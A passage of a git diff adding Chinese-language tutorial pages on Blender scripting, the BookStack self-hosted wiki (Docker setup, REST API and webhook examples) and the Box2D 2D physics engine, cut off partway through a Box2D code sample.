自动化——批量导入、程序化资产、渲染农场脚本 +- **生态与就业**:教程、插件(Add-ons)、[[godot]] / Unity 工作流文档极多;建筑可视化、独立游戏、短视频特效常见 Blender 出身 +- **实时与离线渲染兼备**:EEVEE(实时)快速预览,Cycles / 未来 Hydra 路径追踪出成片 + +## 核心要点 + +Blender 的心脏概念可以按「从空场景到成片」顺序理解: + +### 1. 场景图:Object + Data + +Blender 用 **Object(物体)** 包装 **Data-block(数据块)**。一个 `Object` 是场景里的「实例」——位置、旋转、缩放;背后的 `Mesh`、`Curve`、`Camera` 等才是几何/镜头数据。多个 Object 可以共享同一份 Mesh(类似游戏引擎的 prefab 实例)。 + +### 2. 三种编辑模式 + +| 模式 | 类比 | 做什么 | +| --- | --- | --- | +| **Object Mode** | 搬动展厅里的展品 | 整体移动、旋转、缩放 | +| **Edit Mode** (`Tab`) | 改展品本身的 clay | 改顶点/边/面拓扑 | +| **Sculpt Mode** | 数字泥巴捏形 | 高细分网格雕刻 | + +### 3. 修改器栈(Modifiers) + +非破坏性操作链:Mirror、Subdivision Surface、Array、Boolean… 像 Photoshop 图层一样可 reorder、可关掉预览。工业硬表面建模几乎离不开 **Mirror + SubD**。 + +### 4. 材质与节点(Shader Nodes) + +Blender 4.x+ 默认 **Principled BSDF** 物理材质:Base Color、Roughness、Metallic 几个滑块就能出 plausible 结果。复杂效果用节点图(Noise → Bump → Mix Shader)拼装,和 [[unreal-engine]] / Unity Shader Graph 思路同源。 + +### 5. 动画:关键帧 + NLA + 约束 + +时间轴上 `I` 键插入 keyframe;**Armature(骨骼)** + **Weight Paint** 做角色绑定;**NLA** 把多段动作块叠在一起。物理(Rigid Body、Cloth、Fluid)可烘焙成缓存再渲染。 + +### 6. 渲染引擎 + +- **EEVEE Next**:实时 raster + 屏幕空间效果,适合预览、游戏资产、短视频 +- **Cycles**:路径追踪,适合产品静帧、建筑可视化 +- **Workbench**:无材质快速查看拓扑 + +输出:`F12` 渲染单帧,或 `Output Properties` 里设帧范围输出 PNG 序列 / FFmpeg 视频。 + +### 7. Geometry Nodes(几何节点) + +Blender 3.0+ 的程序化建模/散布系统:用节点图生成实例、曲线、体积,类似 Houdini 的轻量入口。做草地、建筑群、参数化装置特别高效。 + +### 8. Python API 三件套 + +| 模块 | 作用 | +| --- | --- | +| `bpy.data` | 读写场景库:物体、材质、网格、动作 | +| `bpy.context` | 当前选中、活动物体、模式——跟 UI 状态同步 | +| `bpy.ops` | 调用操作符:建模、渲染、导入导出 | + +## 实践案例 + +### 案例 1:批量创建一排彩色球体 + +适合理解 `bpy.ops` + 材质赋值: + +```python +import bpy + +colors = [ + (1.0, 0.2, 0.2, 1.0), + (0.2, 0.8, 0.3, 1.0), + (0.2, 0.4, 1.0, 1.0), +] + +for i, rgba in enumerate(colors): + x = i * 2.5 + bpy.ops.mesh.primitive_uv_sphere_add(radius=0.8, location=(x, 0, 0.8)) + obj = bpy.context.active_object + obj.name = f"Ball_{i}" + + mat = bpy.data.materials.new(name=f"Mat_{i}") + mat.use_nodes = True + bsdf = mat.node_tree.nodes.get("Principled BSDF") + bsdf.inputs["Base Color"].default_value = rgba + obj.data.materials.append(mat) +``` + +**要点**:`default_value` 是 RGBA 四元组;每个物体可以独占一份 Material,也可以共享。 + +### 案例 2:给默认立方体做 120 帧旋转动画并渲染 + +```python +import bpy + +obj = bpy.data.objects.get("Cube") +if obj is None: + bpy.ops.mesh.primitive_cube_add(location=(0, 0, 1)) + obj = bpy.context.active_object + +scene = bpy.context.scene +scene.frame_start = 1 +scene.frame_end = 120 +scene.render.fps = 24 + +# 第 1 帧:0° +scene.frame_set(1) +obj.rotation_euler = (0, 0, 0) +obj.keyframe_insert(data_path="rotation_euler", frame=1) + +# 第 120 帧:绕 Z 转一整圈 +scene.frame_set(120) +obj.rotation_euler = (0, 0, 6.283185307) # 2*pi +obj.keyframe_insert(data_path="rotation_euler", frame=120) + +# 可选:命令行无 UI 渲染 +# blender scene.blend --python this_script.py -- --render-anim +# bpy.ops.render.render(animation=True) +``` + +**要点**:`keyframe_insert` 等价于用户在 UI 按 `I`;渲染前记得有 **Camera** 和 **Light**,否则全黑。 + +### 案例 3:命令行批处理(工作室常见) + +不打开界面,在 CI 或渲染农场跑: + +```bash +blender -b myscene.blend -o //render/frame_#### -F PNG -f 1 +blender -b myscene.blend -a +``` + +`-b` 后台;`-o` 输出路径(`//` 表示相对 .blend 文件);`-f 1` 只渲第 1 帧;`-a` 渲整个动画范围。 + +### 案例 4:导出 glTF 给 Web / 游戏引擎 + +```python +import bpy + +bpy.ops.export_scene.gltf( + filepath="/tmp/export.glb", + export_format='GLB', + export_apply=True, # 应用修改器 + export_materials='EXPORT', +) +``` + +[[playcanvas]]、Three.js、[[godot]]、Unity 都原生吃 glTF/GLB;Blender 是免费 DCC 里 glTF 导出最成熟的之一。 + +## 界面与零基础上手路径 + +第一次打开 Blender 不要被默认立方体吓到。推荐 7 步闭环: + +1. **熟悉视口导航**:中键旋转、Shift+中键平移、滚轮缩放;小键盘 `.` 聚焦选中物体 +2. **Object Mode 下 G/R/S**:移动、旋转、缩放;`Ctrl+Z` 撤销 +3. **Edit Mode 挤出(E)**:从一个面拉出厚度,做简单杯子/桌子 +4. **Subdivision Surface 修改器**:让硬边变平滑 +5. **Shading 工作区**:拖 Roughness / Metallic,加 HDRI 环境光 +6. **Layout + 时间轴**:插两个 keyframe,空格播放 +7. **F12 渲染一张图**:建立「我做出了成片」的正反馈 + +进阶再拆分支:硬表面(Boolean、Bevel)、角色(Retopo、Rigify 插件)、程序化(Geometry Nodes)、影视(Compositor、Video Sequencer)。 + +## 踩过的坑 + +1. **单位与尺度**:默认 1 Blender Unit = 1 米;物理模拟对尺度敏感——硬币大小的物体别按建筑尺寸建模 +2. **法线方向**:面反了会出现黑块或 Boolean 失败;Edit Mode 里 `Alt+N` → Recalculate Outside +3. **应用缩放(Ctrl+A)**:绑骨、物理、导出 glTF 前常需 **Apply Scale**,否则行为诡异 +4. **Cycles 渲太慢**:先 EEVEE 确认构图,再切 Cycles;降噪开 OpenImageDenoise,采样 128–512 视场景而定 +5. **脚本在 Blender 外跑**:`pip install bpy` 可装独立模块,但版本与完整 Blender 不完全一致;生产自动化优先用官方 `blender --background --python` +6. **GPL 与插件**:链接 Blender Python API 的插件通常也需 GPL 兼容;闭源商业插件要读 license FAQ + +## 适用 vs 不适用场景 + +**适用**: + +- 个人/小团队 3D 资产、动画、静帧、短视频特效 +- 游戏资产制作(低模 + UV + PBR 贴图 + glTF 导出) +- 建筑可视化、产品渲染、科普动画 +- 程序化/批量场景生成(Python + Geometry Nodes) +- 学习 3D 全流程概念(拓扑、UV、绑定、渲染) + +**不适用**: + +- 超大规模影视 VFX 流水线(常配合 Houdini/Nuke,Blender 作环节之一可以) +- 需要官方 Autodesk 生态(Maya 绑定插件、Arnold 管线)的大厂标准 +- 仅 2D 矢量/排版——用 Figma / Illustrator 更直接 +- 实时 AAA 游戏**引擎**本身——Blender 是 DCC,运行游戏用 [[godot]] / Unity / Unreal + +## 与其他工具的关系 + +| 工具 | 分工 | +| --- | --- | +| [[playcanvas]] / Three.js | 浏览器**运行** glTF 场景;Blender **制作** 场景 | +| [[godot]] | 游戏逻辑 + 实时运行;Blender 出模型/动画 | +| [[ffmpeg]] | 渲染出的 PNG 序列可再 `-i frame_%04d.png` 合成 MP4 | +| [[opencv]] | 读视频帧做 CV;Blender 做 3D 合成或生成训练用合成数据 | +| Maya / 3ds Max | 商业 DCC,流程类似;概念可迁移到 Blender | + +## 学习资源 + +- 官方手册:[docs.blender.org/manual](https://docs.blender.org/manual/en/latest/) +- Python API:[docs.blender.org/api/current](https://docs.blender.org/api/current/) +- Blender Studio 开源电影项目(Spring、Coffee Run 等)——可下载 `.blend` 源文件拆解 +- 入门:Blender Guru「Donut Tutorial」系列(经典甜甜圈) + +## 小结 + +Blender 把 3D 制片厂塞进一个免费软件:Object/Data 场景图、修改器非破坏建模、节点材质、关键帧动画、EEVEE/Cycles 渲染、Python `bpy` 自动化,构成从零到成片的主干。零基础先用 GUI 走通「建模型 → 材质 → 灯光 → 渲染」闭环,再用脚本做批量与程序化,是性价比最高的学习路径。 diff --git a/src/content/docs/projects/bookstack.md b/src/content/docs/projects/bookstack.md new file mode 100644 index 000000000..57926aacf --- /dev/null +++ b/src/content/docs/projects/bookstack.md @@ -0,0 +1,334 @@ +--- +title: BookStack — 文档型 Wiki 知识库 +来源: https://github.com/BookStackApp/BookStack +日期: 2026-06-13 +子分类: 编辑器与 IDE +分类: CLI +provenance: pipeline-v3 +--- + +## 日常类比:公司书架上的「真·说明书」,而不是聊天里的第 17 版 Word + +想象你们团队有一间 **内部图书馆**,管理员按主题把资料摆成三层结构: + +- **书架(Shelf)** 是「工程区」「产品区」「运维区」这样的大分区,一眼能看到有哪些主题的书。 +- **书(Book)** 是一本完整手册,比如《Kubernetes 运维指南》或《新人 Onboarding》。 +- **章(Chapter)** 是书里的目录层级,把相关页面收拢在一起。 +- **页(Page)** 才是具体一篇文章——部署步骤、故障排查、API 说明。 + +很多团队的现实是:知识散落在 Slack 线程、Google Docs 子文件夹、某次培训 PPT 的副本里。新人问「Staging 怎么发布?」,老员工翻聊天记录五分钟,复制粘贴一个 **过期链接**。 + +**BookStack**([BookStackApp/BookStack](https://github.com/BookStackApp/BookStack))就是为这种场景设计的 **自托管文档 Wiki**:用「书架 → 书 → 章 → 页」组织内容,WYSIWYG 或 Markdown 双编辑器,全文搜索,段落级深链接,角色权限可细到单本书。官方站点 [bookstackapp.com](https://www.bookstackapp.com),MIT 许可,PHP + Laravel 构建,源码主仓已迁移至 [Codeberg](https://codeberg.org/bookstack/bookstack),GitHub 仍作镜像与 Star 统计(约 1.8 万+ Star)。 + +与 **Outline**(Collection + Document 扁平树)、**Confluence**(企业 CMS 重量级)相比,BookStack 更 ** opinionated(有明确主见)**:不追求无限自定义,而是让「非程序员也能十分钟上手写文档」。零基础路径:**试用 [demo.bookstackapp.com](https://demo.bookstackapp.com) → 理解 Shelf/Book/Chapter/Page → Docker 或 Ubuntu 脚本自建 → 配 LDAP/OIDC → 用 REST API 接 CI**。 + +--- + +## 这个项目解决什么问题 + +### 痛点 1:Wiki 结构要么太扁,要么太复杂 + +MediaWiki 适合维基百科式词条,但对「按项目写手册」不直观;Notion 灵活但 SaaS 绑定深。BookStack 用 **四层固定模型**(Shelf / Book / Chapter / Page),新人看到界面就知道该往哪放内容。 + +### 痛点 2:技术文档与非技术同事之间的编辑门槛 + +默认 **WYSIWYG 富文本** 像 Word,行政、产品也能改政策页;工程师可切 **Markdown 编辑器 + 实时预览**。内置 **diagrams.net(draw.io)** 画图,不用另开工具。 + +### 痛点 3:「谁改了什么」与合规留痕 + +每页有 **revision 历史**,可对比差异、回滚。配合 **Audit Log API** 与按角色的 **MFA 强制**,适合内网知识库的基本治理需求。 + +### 痛点 4:与自动化流水线脱节 + +内置 **REST API**、**Webhooks**、**Visual / Logical Theme** 扩展点,可用 CI 在发版后自动写入 changelog 页,或在事故响应时由 bot 创建 runbook 草稿。 + +--- + +## 核心概念拆解 + +### 1. Shelf(书架) + +Shelf 是 **顶层视觉分区**,把多本 Book 归为一组展示(如「Platform Team 全部文档」)。Shelf 本身不直接包含 Page,Page 必须挂在 Book(或 Book 下的 Chapter)里。一个 Book 可以出现在多个 Shelf 上。 + +### 2. Book(书) + +Book 是 **内容的主要容器**,类似一本完整手册。包含: + +- 封面图、描述、标签(Tags) +- 可选 **default_template_id**:新建页时套用模板 +- 直接子 Page,或通过 Chapter 间接组织 + +权限可在 Book 级别 **继承或覆盖**(restrictions)。 + +### 3. Chapter(章) + +Chapter 是 Book 内的 **中间层目录**,用于把相关 Page 分组(如「安装」「监控」「故障排查」)。Chapter 也可以没有子 Page,仅作说明性分组。 + +### 4. Page(页) + +Page 是 **最小内容单元**,存储 HTML(WYSIWYG 或 Markdown 转换后)。特点: + +- **slug** 构成稳定 URL:`/books/my-book/page/my-page` +- **段落锚点** `#bkmrk-...` 支持深链接到段内 +- **draft** 草稿与 **template** 模板页 +- **editor** 字段标记最后使用的编辑器(`wysiwyg` / `markdown`) +- 支持导出 HTML / PDF / Markdown / ZIP + +### 5. 搜索(Search) + +全局或限定在单 Book 内搜索。API `GET /api/search?query=...` 支持 `{created_by:me}` 等过滤语法。搜索结果跨 Shelf、Book、Chapter、Page。 + +### 6. 权限与角色(Roles & Permissions) + +基于 **Role** 的权限系统,粒度包括: + +- 全局:用户管理、API 访问、设置修改 +- 实体级:`book-view`、`page-update` 等,可对单本书 **加锁** + +常见角色:**Admin**、**Editor**、**Viewer**。企业场景可接 **LDAP / SAML2 / OIDC**,并 per-role **强制 MFA(TOTP)**。 + +### 7. 认证与 API Token + +Web 登录支持邮箱密码及多种社交/OAuth 提供者。调用 REST API 需给用户角色分配 **「Access System API」** 权限,再在用户资料里创建 **API Token**(Token ID + Token Secret),请求头格式: + +``` +Authorization: Token : +``` + +### 8. 技术栈一览 + +| 层 | 技术 | +|----|------| +| 后端 | PHP 8.2+、Laravel | +| 数据库 | MySQL 8.0+ 或 MariaDB 10.6+ | +| 前端 | TypeScript、Blade 模板 | +| 依赖 | Composer | +| 部署 | Apache/Nginx、Docker(社区镜像)、Ubuntu 一键脚本 | +| 存储 | 本地 `public/uploads` 或 S3 兼容对象存储 | + +健康检查端点:`GET /status`(子系统异常时返回 HTTP ≥400)。 + +--- + +## 内容组织建议 + +适合中小团队的一种结构: + +``` +Shelf: Engineering +├── Book: Platform Runbooks +│ ├── Chapter: Kubernetes +│ │ ├── Page: 集群升级 checklist +│ │ └── Page: etcd 备份恢复 +│ └── Chapter: Observability +│ └── Page: Grafana 告警路由 +└── Book: RFC Archive + └── Page: RFC-001 事件总线选型 + +Shelf: Company +└── Book: People & Policy + ├── Page: 休假政策 + └── Page: 报销流程 +``` + +原则: + +1. **Book 对应一个「可交付主题」**(一本完整手册),不要把所有东西都塞进一本书; +2. **Chapter 控制单书内目录深度**,超过 20 页的 Book 建议拆 Chapter; +3. **模板页(template)** 统一 RFC、事故报告、Onboarding 结构; +4. **Tags** 做跨 Book 检索(如 `env:production`),不要替代清晰的 Book 边界; +5. 对外只读场景可开 **guest 访问** 或导出 PDF,对内用 Role 收口编辑权。 + +--- + +## 代码示例 1:LinuxServer.io Docker Compose 最小栈 + +BookStack 官方不提供第一方 Docker 镜像,社区常用 [linuxserver/docker-bookstack](https://github.com/linuxserver/docker-bookstack)。下面是最小可运行 compose(生产请 **固定镜像 tag**、改强密码、配 HTTPS 反向代理): + +```yaml +# docker-compose.yml — 基于 LinuxServer.io 社区镜像的简化示例 +services: + bookstack: + image: lscr.io/linuxserver/bookstack:latest + container_name: bookstack + environment: + - PUID=1000 + - PGID=1000 + - APP_URL=https://docs.example.com + - DB_HOST=bookstack_db + - DB_PORT=3306 + - DB_DATABASE=bookstackapp + - DB_USERNAME=bookstack + - DB_PASSWORD=change_me_strong_password + volumes: + - ./bookstack_config:/config + ports: + - "6875:80" + depends_on: + - bookstack_db + restart: unless-stopped + + bookstack_db: + image: mariadb:10.11 + container_name: bookstack_db + environment: + - MYSQL_ROOT_PASSWORD=change_me_root + - MYSQL_DATABASE=bookstackapp + - MYSQL_USER=bookstack + - MYSQL_PASSWORD=change_me_strong_password + volumes: + - ./bookstack_db:/var/lib/mysql + restart: unless-stopped +``` + +启动后访问 `http://localhost:6875`,默认管理员 **`admin@admin.com` / `password`**,**务必立即修改**。若前面有 Nginx/Caddy,把 `APP_URL` 设为公网 HTTPS 地址,否则邮件链接与 OAuth 回调会错。 + +手动安装(非 Docker)核心步骤:克隆 `release` 分支 → `composer install --no-dev` → 复制 `.env` → `php artisan key:generate` → `php artisan migrate` → Web 根指向 `public/`。详见 [官方安装文档](https://www.bookstackapp.com/docs/admin/installation/)。 + +--- + +## 代码示例 2:REST API — 发版流水线自动写入 Changelog 页 + +场景:GitHub Actions 在 tag 发布后,向 BookStack 的「Release Notes」Book 追加一页。先确保 CI 用的服务账号角色含 **Access System API** 与目标 Book 的 **page-create** 权限。 + +**列出书籍,找到目标 book_id:** + +```bash +curl -sS "https://docs.example.com/api/books" \ + -H "Authorization: Token ${BOOKSTACK_TOKEN_ID}:${BOOKSTACK_TOKEN_SECRET}" \ + -H "Accept: application/json" | jq '.data[] | {id, name, slug}' +``` + +**用 Markdown 创建新页(`book_id: 3` 为例):** + +```bash +curl -sS -X POST "https://docs.example.com/api/pages" \ + -H "Authorization: Token ${BOOKSTACK_TOKEN_ID}:${BOOKSTACK_TOKEN_SECRET}" \ + -H "Content-Type: application/json" \ + -H "Accept: application/json" \ + -d '{ + "book_id": 3, + "name": "v2.4.0 — 2026-06-13", + "markdown": "# v2.4.0\n\n## Highlights\n\n- Added BookStack export to CI\n- Fixed search index lag\n\n## Upgrade\n\n```bash\nphp artisan migrate\n```\n", + "tags": [ + {"name": "release", "value": "2.4.0"}, + {"name": "channel", "value": "stable"} + ], + "priority": 0 + }' +``` + +API 返回 JSON 含新页 `id`、`slug` 与 `url`。若需更新已有页,用 `PUT /api/pages/{id}`;导出 Markdown 备份用 `GET /api/pages/{id}/export/markdown`。 + +**Python 批量同步草稿(结构示例):** + +```python +#!/usr/bin/env python3 +"""Sync local markdown files into a BookStack book via REST API.""" +import os +import requests + +BASE = os.environ["BOOKSTACK_URL"].rstrip("/") +AUTH = { + "Authorization": f"Token {os.environ['BOOKSTACK_TOKEN_ID']}:" + f"{os.environ['BOOKSTACK_TOKEN_SECRET']}" +} +BOOK_ID = int(os.environ["BOOKSTACK_BOOK_ID"]) + +def upsert_page(name: str, markdown: str) -> dict: + # 简化:仅创建;生产环境应先 GET /api/pages?filter=... 按 slug 去重 + payload = {"book_id": BOOK_ID, "name": name, "markdown": markdown} + r = requests.post(f"{BASE}/api/pages", json=payload, headers=AUTH, timeout=30) + r.raise_for_status() + return r.json() + +if __name__ == "__main__": + for path in sorted(os.listdir("docs/export")): + if not path.endswith(".md"): + continue + title = path.removesuffix(".md").replace("-", " ").title() + body = open(f"docs/export/{path}", encoding="utf-8").read() + page = upsert_page(title, body) + print(f"created page id={page['id']} slug={page['slug']}") +``` + +注意:写入的 HTML 宜保持 **单层块级元素**,复杂嵌套可能在 WYSIWYG 编辑器里显示异常;API 文档 [Content Security](https://demo.bookstackapp.com/api/docs) 章节说明了 `html` 与 `raw_html` 的区别及 XSS 注意点。 + +--- + +## 代码示例 3:Webhook 在页面变更时通知 Slack + +BookStack 管理后台可配置 **Webhooks**:在 `page_create`、`page_update` 等事件发生时 POST JSON 到你的 endpoint。下面是一个极简 Node 转发器,把事件摘要发到 Slack Incoming Webhook: + +```javascript +// webhook-relay.mjs — 接收 BookStack 事件并通知 Slack +import http from "node:http"; + +const SLACK_URL = process.env.SLACK_WEBHOOK_URL; + +http.createServer(async (req, res) => { + if (req.method !== "POST") { + res.writeHead(405); + return res.end(); + } + const chunks = []; + for await (const c of req) chunks.push(c); + const event = JSON.parse(Buffer.concat(chunks).toString("utf8")); + // event.related_item 含 name、book_slug、url 等字段(依版本略有差异) + const text = `[BookStack] ${event.event} — ${event.related_item?.name ?? "unknown"}`; + await fetch(SLACK_URL, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ text }), + }); + res.writeHead(204); + res.end(); +}).listen(8787); +``` + +适合「文档更新自动 @ 频道」的轻量集成; heavier 的场景直接用 REST API 拉 audit-log 更可控。 + +--- + +## 与相近方案怎么选 + +| 维度 | BookStack | Outline | HedgeDoc | Confluence | +|------|-----------|---------|----------|------------| +| 内容模型 | Shelf/Book/Chapter/Page | Collection/Document 树 | 单页 Markdown 房间 | 空间/页面 + 宏 | +| 编辑体验 | WYSIWYG + Markdown | Notion 式块编辑 | 纯 Markdown 协作 | 富文本 + 插件 | +| 自托管 | 易(PHP + MySQL) | 需 PG + Redis + S3 | 相对轻 | 通常 Data Center | +| 实时协同 | 否(修订竞争靠保存) | 是 | 是(CRDT) | 是 | +| 许可 | MIT | BSL 1.1 | AGPL-3.0 | 商业 | +| 典型用户 | 中小企业内部 Wiki | 工程团队知识库 | 技术共笔/会议 | 大企业标配 | + +若你需要 **固定书架隐喻 + 低学习成本 + MIT**,BookStack 往往是自托管 Wiki 的默认候选;若 **实时共编** 是硬需求,Outline / HedgeDoc 更合适。 + +--- + +## 运维与生产注意事项 + +1. **备份**:MySQL 全库 + `storage/` 与 `public/uploads/`(或 S3 bucket);发版前用官方 `release` 分支,执行 `php artisan migrate`。 +2. **HTTPS**:OAuth、OIDC、邮件重置密码都依赖正确的 `APP_URL`。 +3. **搜索性能**:大实例定期清理回收站;极大规模可考虑只读副本(非官方 HA 方案,需自行验证)。 +4. **升级**:官方 upgrade 流程在维护窗口执行,**不保证零停机**;多实例 HA 需共享 session/cache 与上传存储(Redis + S3)。 +5. **安全**:默认关闭公开注册;API Token 最小权限;对外暴露前跑 `/status` 与权限审计。 + +--- + +## 学习路径建议 + +| 阶段 | 做什么 | 预期收获 | +|------|--------|----------| +| 1. 体验 | 登录 demo,创建 Shelf/Book/Page,试 WYSIWYG 与 Markdown | 理解四层模型 | +| 2. 组织 | 按团队设计 2 个 Shelf、各 2 本书,写模板页 | 形成信息架构 | +| 3. 部署 | Docker 或 Ubuntu 脚本在 VPS 起实例,改管理员密码,配 SMTP | 掌握自建 | +| 4. 集成 | 创建 API Token,用 curl 创建页;可选 Webhook → Slack | 接入自动化 | +| 5. 治理 | 配 LDAP/OIDC、MFA、Book 级权限、导出 PDF 给外审 | 企业可用 | + +官方资源:[文档中心](https://www.bookstackapp.com/docs)、[API 文档(demo)](https://demo.bookstackapp.com/api/docs)、[社区论坛](https://community.bookstackapp.com/)、[api-scripts 示例库](https://codeberg.org/bookstack/api-scripts)。 + +--- + +## 小结 + +BookStack 把「内部文档该长什么样」这件事想得很直白:**像图书馆一样分层摆书,像 Word 一样写页,像 Git 一样留修订,像 API 一样接流水线**。它不试图取代 Notion _database 或 Confluence 插件生态,但在 **MIT、自托管、文档 Wiki** 这个窄缝里,用极低的组织成本换团队愿意持续维护的「单一事实来源」。从零开始:先玩 demo,再 Docker 起一个实例,最后用 REST API 把第一次自动发版写页跑通——这三步走完,你就已经比大多数「Wiki 建了没人写」的团队更进一步。 diff --git a/src/content/docs/projects/box2d.md b/src/content/docs/projects/box2d.md new file mode 100644 index 000000000..6aed2f751 --- /dev/null +++ b/src/content/docs/projects/box2d.md @@ -0,0 +1,272 @@ +--- +title: Box2D — Erin Catto C++ 2D 物理 +来源: 'https://github.com/erincatto/box2d' +日期: 2026-06-13 +分类: 图形学 +子分类: 渲染与图形 +provenance: pipeline-v3 +难度: 初级 +--- + +## 是什么 + +**Box2D** 是由 Erin Catto 创建并长期维护的**开源 2D 刚体物理引擎**,MIT 协议,GitHub 仓库 [erincatto/box2d](https://github.com/erincatto/box2d) 约 9.7k star。它不负责渲染、音频或 UI,只回答一个问题:**给定质量、形状、力和约束,下一帧每个物体该在哪里、转多少度**。 + +日常类比:把 Box2D 想成**桌游店里的弹珠轨道裁判**。你在桌上摆好挡板(静态形状)、弹珠(动态刚体)、铰链(关节),裁判每帧按牛顿力学推进世界,并把新坐标交还给你的精灵绘制代码。你画美术、写玩法;物理引擎管碰撞、摩擦、弹跳和连锁倒塌——《Angry Birds》式的抛物与结构坍塌,底层就是这类 2D 求解器(业界常把 Box2D 当作该品类的参考实现)。 + +历史上 Box2D 以 **C++** 闻名并催生了大量语言移植(JavaScript 的 box2d.js、C# 的 Farseer 等)。**当前主线是 Box2D 3.x**:核心库用 **C17** 重写,采用数据导向设计、多线程与 SIMD;API 从 `b2World*` 指针风格改为 **`b2WorldId` 等不透明句柄**。samples 仍用 C++20 + GLFW + imgui 演示。零基础学习时,先掌握「世界 → 刚体 → 形状 → 步进」闭环,再读 [Migration Guide](https://github.com/erincatto/box2d/blob/main/docs/migration.md) 对照旧教程即可。 + +```c +#include "box2d/box2d.h" + +// 最小闭环:建世界 → 加地面与箱子 → 模拟若干步 +b2WorldDef worldDef = b2DefaultWorldDef(); +worldDef.gravity = (b2Vec2){0.0f, -10.0f}; +b2WorldId worldId = b2CreateWorld(&worldDef); + +// 静态地面(type 默认为 static) +b2BodyDef groundDef = b2DefaultBodyDef(); +b2BodyId groundId = b2CreateBody(worldId, &groundDef); +b2ShapeDef groundShapeDef = b2DefaultShapeDef(); +b2Segment groundSegment = {{ -20.0f, 0.0f }, { 20.0f, 0.0f }}; +b2CreateSegmentShape(groundId, &groundShapeDef, &groundSegment); + +// 动态箱子 +b2BodyDef boxDef = b2DefaultBodyDef(); +boxDef.type = b2_dynamicBody; +boxDef.position = (b2Vec2){0.0f, 4.0f}; +b2BodyId boxId = b2CreateBody(worldId, &boxDef); +b2ShapeDef boxShapeDef = b2DefaultShapeDef(); +boxShapeDef.density = 1.0f; +b2Polygon box = b2MakeBox(0.5f, 0.5f); +b2CreatePolygonShape(boxId, &boxShapeDef, &box); + +for (int i = 0; i < 120; i++) { + b2World_Step(worldId, 1.0f / 60.0f, 4); +} +``` + +上面与官方 samples 同构:先 `b2DefaultWorldDef()` 设重力,再创建 body 并挂 shape,最后循环 `b2World_Step`。 + +## 为什么重要 + +不了解 Box2D,下面这些事都难以解释: + +- 为什么 2D 平台游戏、弹弓益智、车辆侧视关卡可以**共用同一套物理 API**——刚体 + 关节 + 接触约束是通用积木 +- 为什么《Angry Birds》之后大量 HTML5/移动游戏都出现「box2d」字样——它是 2D 物理的**事实标准**与移植源头 +- 为什么物理坐标要用**米**而不是像素——引擎按 MKS(米-千克-秒)调参,用像素当米会导致物体像摩天大楼一样不稳定 +- 为什么固定时间步(1/60 s)和渲染帧率要分离——`b2World_Step` 用离散积分,大 dt 会导致高速物体**隧道穿透**(tunneling) +- 为什么 Erin Catto 在 GDC 连年讲 **Constraints**——关节、接触、摩擦在数学上都是「约束」,由同一类**顺序冲量求解器**迭代求解 + +## 核心要点 + +### 1. 物理世界(World) + +`b2WorldId` 是一帧仿真的总容器,持有所有 body、shape、joint 和自动生成的 contact。每调用一次 `b2World_Step(worldId, deltaTime, subStepCount)`,内部大致顺序为: + +1. **Broad-phase(粗检测)**:用动态树(dynamic tree)筛出可能接触的 shape 对 +2. **Narrow-phase(细检测)**:精确求交,生成接触流形 +3. **Solver(求解器)**:对接触约束与关节约束施加冲量,修正速度 +4. **Integration(积分)**:用新速度更新位姿 + +类比:粗检测像邮局按邮编分拣;细检测像逐件称重;求解器像调解员决定两辆车擦碰后各退多少。 + +Box2D 3 还提供 **接触事件**(begin/end)、**传感器事件**、**body 运动事件**,可在步进结束后查询,用于播放音效、计分或触发机关。 + +### 2. 刚体(Body)与形状(Shape) + +| 概念 | 职责 | +|------|------| +| **Body** | 质心位置、旋转、线/角速度;类型分 static / kinematic / dynamic | +| **Shape** | 碰撞几何 + 材质(密度、摩擦、恢复系数);一个 body 可挂**多个** shape | + +创建套路永远是:**先 body,后 shape**。密度写在 `b2ShapeDef` 上,引擎据此累加 body 质量与转动惯量。静态体不需要密度;动态体至少应有一个带正密度的 shape。 + +Body 类型速查: + +| 类型 | 行为 | +|------|------| +| `b2_staticBody` | 不动,参与碰撞(地面、墙) | +| `b2_kinematicBody` | 由代码设速度/位姿,几乎不受力影响,可推动动态体 | +| `b2_dynamicBody` | 受力、碰撞、关节约束,完全模拟 | + +### 3. 单位制:米,不是像素 + +官方明确建议:**运动物体尺寸保持在 0.1 m~10 m**(罐头到公交车),重力常取 `(0, -10)` 近似地球。若把 200 像素宽的角色直接当 200「米」,引擎会认为你在模拟一栋 45 层高楼,碰撞会发飘。 + +正确做法:逻辑层用米,渲染层乘 `PTM_RATIO`(pixels-to-meters,常见 32 或 50)画精灵。Cocos2d-x、libGDX 集成文档都强调这一换算。 + +### 4. 关节(Joint)——铰链、活塞、轮子 + +关节把两个 body 的相对自由度限制住。Box2D 3 支持 distance、revolute(旋转铰)、prismatic(滑块)、weld、wheel、mouse、motor、filter 等。关节可配置: + +- **Limit**:限制活动范围(如肘关节角度) +- **Motor**:目标角速度/线速度 + 最大力矩/力(可当马达或刹车) +- **Spring**:刚度与阻尼(用 Hz 表示,与质量解耦) + +常见用途:revolute → 门、摆锤、轮子;prismatic → 电梯、活塞;distance → 绳索、链条近似;wheel → 车辆悬挂。 + +### 5. 约束与求解器(Erin Catto 的核心) + +从 GDC 讲义视角,**接触**也是一种约束:禁止两刚体沿法向穿透,并模拟摩擦与恢复系数。**关节**是用户显式添加的约束。**求解器**用 **Sequential Impulses(顺序冲量)** 迭代求各约束的冲量 λ,再在积分阶段更新位置——复杂度约 O(N),适合实时游戏。 + +Box2D 3 的 **Soft Step** 求解器 + **连续碰撞(CCD)** 用于缓解高速物体穿透;另有 **sleeping islands**:静止物体簇休眠,不再参与求解,大堆刚体场景更省 CPU。 + +### 6. 查询 API(不跑物理也能用) + +除刚体模拟外,`include` 目录下的碰撞例程可单独使用:**重叠查询、射线投射(ray cast)、形状投射(shape cast)**。做点击选中、视线检测、子弹命中时,不必手写几何相交。 + +## 实践案例 + +### 案例 1:读取动态体位置——同步到精灵 + +物理在「米」里算,绘制在「像素」里画,每帧步进后读 body 位姿: + +```c +#include "box2d/box2d.h" +#include + +#define PTM 50.0f // 50 像素 = 1 米 + +void syncSprite(b2BodyId bodyId) { + b2Vec2 pos = b2Body_GetPosition(bodyId); + b2Rot rot = b2Body_GetRotation(bodyId); + float angle = b2Rot_GetAngle(rot); + + float pixelX = pos.x * PTM; + float pixelY = pos.y * PTM; + float pixelAngle = angle; // 弧度,绘制 API 若用度再转换 + + printf("sprite at (%.1f, %.1f) rad=%.2f\n", pixelX, pixelY, pixelAngle); + // drawTexture(pixelX, pixelY, pixelAngle); +} + +int main(void) { + 